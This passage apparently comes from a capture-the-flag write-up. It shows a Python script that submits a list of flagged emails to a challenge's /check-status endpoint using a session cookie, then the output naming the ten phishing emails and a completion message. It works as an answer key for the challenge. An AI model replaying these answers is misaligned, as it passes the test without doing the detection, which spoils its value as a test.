burp0_cookies = {"CaseFile": "eyJ1c2VyaWQiOiI0ODAxOTFiNy03ZDdhLTQ0NjQtOTBiNS05ZTBiZTA3MzIwMDQifQ.ZZLi4A.u8YhzTZlio0ywFsxrho-DqrPbOg"}
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/json",
}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=bad_emails)
print("\nCheck Status (/check-status)")
print(r.text)

The following is the output of the script in action:

result
$ python3 phishing_parse.py
Analyzing 34 emails ...

Phishing:
2-victor.davis@geeseislands.com-Invitation to Research Grant Meeting
8-xavier.jones@geeseislands.com-Urgent IT Security Update
15-steven.gray@geeseislands.com-Procurement Process Improvements
17-laura.green@geeseislands.com-Security Protocol Briefing
19-nancy@geeseislands.com-Public Relations Strategy Meet
21-rachel.brown@geeseislands.com-Customer Feedback Analysis Meeting
23-ursula.morris@geeseislands.com-Legal Team Expansion Strategy
24-quincy.adams@geeseislands.com-Networking Event Success Strategies
28-michael.roberts@geeseislands.com-Compliance Training Schedule Announcement
32-oliver.thomas@geeseislands.com-New Research Project Kickoff

Check Status (/check-status)
{"hash":"fb719ebd276dcbd3cba16becdebb4971414ef03dee1a62210361fbde6aeb7b76","resourceId":"480191b7-7d7a-4464-90b5-9e0be0732004"}

After selecting all the 10 bad emails, we obtained the success mission:

success

Achievement

Congratulations! You have completed the Phish Detection Agency challenge!